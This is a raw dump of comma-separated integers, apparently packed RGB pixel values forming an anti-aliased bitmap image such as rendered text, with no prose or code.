0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,0,3838171,16777179,9452032,0,14992,14417919,16758374,0,0,0,102,11993087,16777215,11953722,3838171,16777142,6684730,6731483,16777179,9452032,0,26294,16777215,14389306,0,102,11993087,16767888,3801088,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,14992,14417919,16777179,9452032,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,6710886,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,58,9493503,16777215,14389306,0,0,26294,16777215,16777179,9452032,0,0,102,11993087,16767963,11964518,9484031,16777215,14389306,0,0,0,0,0,6731519,16777215,14399120,3801088,0,0,3827382,16777215,16777179,9452032,0,0,14992,14417919,14399120,6699520,0,0,14992,14417919,16777215,11953664,0,0,0,3838171,16777215,16758374,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16767926,9463354,3815936,0,0,0,58,9493503,16777215,11953664,0,0,0,0,26294,16777215,16777142,6684672,0,14992,14417919,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16777179,9452032,0,0,14950,11983871,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6721755,16777215,16767926,9463354,0,0,3827382,16777215,16777179,9452032,0,0,58,9493503,16777215,14389306,0,0,58,6731519,16777215,14389306,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,26294,16777215,16767888,3801088,0,0,3827344,14417919,16777215,14389306,0,0,58,9493503,16777215,16777142,6699520,0,0,58,6721755,16777142,6684672,0,3838171,16777215,14389306,0,0,14950,9483995,16777215,16777215,11953664,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,102,11993087,16777215,16767888,6699520,0,0,58,6731519,16758374,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,14992,14417919,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,14408667,16777179,9452032,58,9493503,16767963,14417919,16777142,6684672,0,3838171,16777215,16777215,16777179,9452032,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,14950,9493503,16777215,16777142,6684672,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,3838171,16777215,14389306,0,0,0,14950,9493503,16777215,16767888,3801088,0,102,11993087,16777215,11953722,0,0,58,6731483,16777179,9452032,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,3838171,16777215,16758374,0,0,0,0,0,0,26294,16777215,16767888,3801088,58,9493503,16777215,11953664,0,0,102,11993087,16777179,9452032,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,102,11993087,16777215,14389306,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,26294,16777215,16758374,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,0,0,0,0,0,0,0,0,0,0,0,0,14906,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,58,9493503,16777215,16758374,3801088,0,14992,14417919,16777179,9452032,0,14950,6699520,0,0,0,0,0,0,58,6710842,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777179,14399158,11974326,14408703,16777215,16777179,9452032,0,0,0,0,0,58,3815994,3827382,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777179,14399158,11974326,14408703,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,0,0,14906,3838134,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6699578,3838171,16777179,9452032,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,14389306,0,0,0,0,0,0,0,0,0,14992,14417919,14389306,0,0,0,0,0,0,0,0,0,14950,6710928,14408667,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,14992,14417919,16758454,11993087,16777142,6684672,0,0,0,0,58,9493503,16777215,16777142,6699520,0,0,58,6721755,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,14950,9483995,16777215,16777215,11953664,0,0,3838171,16777215,16777215,16777179,9452032,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,11953722,0,0,14992,14417919,16777215,14389306,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,16777215,16777215,16777215,16767963,14399078,3801088,0,0,0,0,26294,16777215,16777179,9463354,0,102,9493503,16777215,14389306,0,0,0,0,0,0,14906,3815936,0,0,0,0,0,0,0,0,0,0,14906,3815936,0,0,0,0,0,0,0,0,3815994,3815936,0,0,14906,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,0,0,0,0,3801088,0,0,0,0,0,0,0,14950,9483958,11974288,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,0,0,0,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,3815994,3815936,0,0,58,3815994,3801088,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,0,0,0,58,3801088,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16777215,14399120,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,0,0,0,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,3815994,3815936,0,0,58,3815994,3801088,0,0,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,3827344,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,0,0,0,0,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,0,6731519,16777179,9452032,0,14992,14417919,16758374,0,0,0,26294,16777215,16777142,6684672,3838171,16777142,6684672,0,0,0,0,3838171,16777215,11953664,0,58,9493503,16777142,6684672,0,58,6710842,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,58,6710886,0,0,0,0,58,9493503,16777215,11953664,0,0,0,14906,0,0,0,0,58,9493503,16777215,11953664,0,0,0,6731519,16777215,14389306,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,11953722,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,6731519,16777215,14389306,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,11983871,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,11964518,3801088,0,0,0,0,0,0,0,0,0,6721680,3801088,0,0,0,102,11993087,16777215,11953664,0,0,14992,14417919,16758374,0,58,3827302,6710842,102,11993087,16767888,3801088,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,6731519,16777215,16767888,3801088,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11964560,14417919,11953664,102,11993087,14389392,11993087,16777142,6684672,0,3838171,16777215,16777215,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,102,11993087,16777215,11953664,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16777179,9452032,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,26294,16777215,16758374,0,0,14906,3815994,0,0,26294,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,14389306,0,0,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,3827344,9452032,0,14950,11993087,16777142,6684672,0,0,0,0,0,6731519,16777215,11953664,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,14992,14417919,16777215,16767926,9463354,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14399078,3801088,0,0,0,3827382,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14399078,3801088,0,0,0,3827382,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,102,11993087,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,0,0,0,0,0,0,0,102,11993087,16777215,14399120,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,9452032,0,0,0,0,0,0,26294,16777215,14389306,0,0,14992,14417919,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,14389306,0,0,0,0,58,6710842,0,0,0,14992,14417919,14389306,0,0,0,0,58,6710842,0,0,0,3838134,14417919,16777215,14399078